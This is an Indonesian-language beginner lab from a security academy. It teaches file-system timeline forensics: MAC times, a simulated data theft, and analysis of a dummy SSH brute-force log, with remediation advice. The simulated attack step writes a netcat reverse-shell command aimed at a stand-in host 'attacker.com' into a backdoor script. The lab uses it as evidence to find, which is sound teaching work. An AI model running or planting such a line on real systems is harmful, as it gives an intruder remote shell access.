TDCTF Academy Logo TDCTF ACADEMY

Lab 2: Timeline Analysis - Merekonstruksi Kronologi Serangan

Target Skill: Mahasiswa mampu membaca timeline file system dan log untuk merekonstruksi urutan kejadian
Tools: stat, find, grep, date, lnav
Durasi: 30 menit
Level: Beginner


Mengapa Timeline Analysis Penting?

Ketika terjadi insiden keamanan, pertanyaan pertama investigator adalah: "Kapan mulai? Apa yang terjadi pertama? Berapa lama?"

Timeline analysis menjawab semua itu dengan mengumpulkan:

  • MAC times (Modified, Accessed, Changed) dari file system
  • Timestamp log (auth.log, syslog, access.log)
  • Korelasi antara keduanya

Ini adalah fondasi setiap investigasi forensik - tanpa timeline, kamu hanya punya potongan puzzle acak.


Learning Objectives

  1. Memahami MAC times (mtime, atime, ctime, crtime)
  2. Membaca dan menginterpretasi timeline dari file system
  3. Menganalisis log authentication untuk mendeteksi brute force
  4. Membuat timeline kronologis sederhana

️ Tools & Setup

# Semua tool sudah bawaan Linux, kecuali lnav
sudo apt install -y lnav

Langkah Praktikum

Step 1: Pahami MAC Times

Buat file percobaan dan amati timestamp-nya:

cd ~ && mkdir forensics-lab2 && cd forensics-lab2

# Buat file
echo "Isi file awal" > test.txt

# Lihat semua timestamp
stat test.txt

Output stat menunjukkan:

  • Access (atime) - terakhir dibaca
  • Modify (mtime) - terakhir diubah isinya
  • Change (ctime) - terakhir metadata berubah (rename, permission)
  • Birth (crtime) - saat file dibuat (tidak semua filesystem support)

Step 2: Simulasi Aktivitas

# 1. Buat file
echo "Config database" > db.conf
echo "Password = root123" > db.conf.bak

# Tunggu sebentar
sleep 2

# 2. Ubah file
echo "Password = admin456" >> db.conf

# 3. Akses file (baca)
cat db.conf > /dev/null

# 4. Ubah permission
chmod 600 db.conf

# 5. Rename
mv db.conf.bak db.conf.backup

# 6. Lihat semua timestamp sekarang
stat db.conf
stat db.conf.backup

echo "---"
echo "Perhatikan: mtime berubah saat diedit, ctime berubah saat chmod/rename"

Step 3: Simulasi Serangan Sederhana

Buat skenario: seorang attacker login via SSH dan mencuri data:

# Buat direktori yang mensimulasi server
mkdir -p server-data/rahasia
echo "Data Karyawan: gaji, alamat, no HP" > server-data/rahasia/data-karyawan.csv
echo "DB_PASSWORD=SuperSecret2024" > server-data/.env
echo "customer:creditcard:4111222233334444" > server-data/rahasia/customer.txt

# Rekam timestamp sebelum "serangan"
TIMESTAMP_SEBELUM=$(date +%s)
echo "Waktu sebelum serangan: $(date -d @$TIMESTAMP_SEBELUM)"

Step 4: Simulasi Akses Mencurigakan

# --- Ini simulasi "aksi attacker" ---

# Attacker baca file
cat server-data/.env
cat server-data/rahasia/data-karyawan.csv

# Attacker copy data
cp server-data/rahasia/customer.txt server-data/customer-stolen.txt

# Attacker buat backdoor
echo "nc -e /bin/bash attacker.com 4444" > server-data/backdoor.sh
chmod +x server-data/backdoor.sh

# Attacker hapus jejak
rm server-data/.env
echo "--- Simulasi serangan selesai ---"

Step 5: Investigasi Timeline

Sekarang kita jadi investigator. Cari tahu apa yang terjadi:

# 1. Cari file yang baru dimodifikasi (5 menit terakhir)
find server-data/ -mmin -5 -ls

# 2. Lihat detail file mencurigakan
stat server-data/customer-stolen.txt
stat server-data/backdoor.sh

# 3. Cari file yang permission-nya mencurigakan (executable)
find server-data/ -perm -111 -ls

# 4. Cari file yang dihapus tapi masih terbuka (carving)
# (Di dunia nyata, cari di slack space)
echo "File .env sudah dihapus - siapa yang terakhir akses?"

Step 6: Analisis Log Auth

Simulasi log brute force SSH:

# Buat log auth palsu untuk latihan
cat > auth-dummy.log << 'LOG'
Jun 10 08:15:01 server sshd[1234]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:05 server sshd[1235]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:09 server sshd[1236]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:13 server sshd[1237]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:17 server sshd[1238]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:21 server sshd[1239]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:25 server sshd[1240]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:29 server sshd[1241]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:33 server sshd[1242]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:37 server sshd[1243]: Failed password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:15:41 server sshd[1244]: Accepted password for root from 192.168.1.100 port 22 ssh2
Jun 10 08:16:02 server sshd[1245]: Received disconnect from 192.168.1.100
LOG

# Analisis dengan grep
echo "=== Brute Force Attempts ==="
grep "Failed password" auth-dummy.log | wc -l
echo "percobaan gagal sebelum berhasil login"

echo ""
echo "=== Timeline Login ==="
grep -E "(Failed|Accepted) password" auth-dummy.log

echo ""
echo "=== IP Address penyerang ==="
grep -oP 'from \K[0-9.]+' auth-dummy.log | sort -u

Step 7: Timeline Visual dengan lnav

# Buka log dengan lnav (interaktif - tekan q untuk keluar)
# Atau cukup analisis dengan command line:
echo "=== Timeline Kronologis ==="
grep -E "(Failed|Accepted)" auth-dummy.log | awk '{
split($0,a," ");
waktu=a[1] " " a[2] " " a[3];
print waktu " | " $0
}'

️ Analisis & Pertanyaan

1. MAC Times - Kunci Forensik

Timestamp Berubah Saat Forensik Value
mtime Isi file berubah ✅ Bukti modifikasi
atime File dibaca ✅ Bukti akses
ctime Metadata (rename, chmod) ✅ Bukti perubahan atribut
crtime File dibuat ✅ Kapan pertama muncul

2. Deteksi Anomali dari Timeline

Dari simulasi di atas, temuan mencurigakan:

  • backdoor.sh - file script tiba-tiba ada (mtime dekat waktu serangan)
  • customer-stolen.txt - file rahasia dicopy ke folder lain
  • .env - hilang (dihapus untuk menutup jejak)
  • Permission backdoor.sh - +x (executable)

3. Correlation Attack

Dari log auth:

  • 10 failed attempts dalam 26 detik (interval ~3 detik)
  • Dari IP yang sama (192.168.1.100)
  • Berhasil login pada attempt ke-11
  • Kesimpulan: Serangan brute force berhasil

Laporan Temuan

Finding 1: Brute Force SSH Berhasil

Parameter Value
IP Attacker 192.168.1.100
Target User root
Total Attempt 10 failed, 1 success
Waktu Mulai 08:15:01
Waktu Berhasil 08:15:41
Durasi 40 detik

Dampak: Attacker mendapatkan akses shell ke server

Finding 2: Data Exfiltration via Timeline

File Waktu Aktivitas
.env Sebelum 08:15 Ada (dihapus saat serangan)
customer-stolen.txt +08:16 File baru (copy ilegal)
backdoor.sh +08:16 File baru (backdoor planted)

Dampak: Data customer (kartu kredit) bocor + backdoor terinstall


Korelasi OWASP / CWE / CAPEC

Kerangka ID Deskripsi
CWE CWE-778 Insufficient Logging
CWE CWE-223 Omission of Security-relevant Information
CWE CWE-200 Exposure of Sensitive Information
CAPEC CAPEC-112 Brute Force
CAPEC CAPEC-545 File System Timeline Analysis

️ Remediasi

Masalah Solusi Implementasi
Brute force Rate limiting + fail2ban apt install fail2ban
Log tidak cukup Auditd + centralized logging apt install auditd
Root login SSH Nonaktifkan PermitRootLogin no di sshd_config
File sensitif Encryption at rest gpg / openssl enc
Backup log Log rotation + remote syslog rsyslog ke server terpisah
# Pasang fail2ban (minimal)
sudo apt install -y fail2ban
sudo systemctl enable fail2ban --now

Kesimpulan & Refleksi

Apa yang dipelajari:

  • MAC times menyimpan cerita lengkap tentang interaksi file
  • Timeline dari file system + log bisa merekonstruksi serangan
  • Log authentication adalah sumber bukti paling penting
  • Attacker biasanya meninggalkan jejak meskipun sudah hapus file

Refleksi untuk mahasiswa:

"Di dunia forensik, waktu adalah segalanya. Satu timestamp bisa membuktikan innocence atau guilt. Sebagai administrator, pastikan NTP sync aktif dan log retention cukup - karena bukti tidak akan menunggu."


Referensi


🔬 Lab 2 Selesai! Lanjut ke Lab 3: Memory Forensics


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI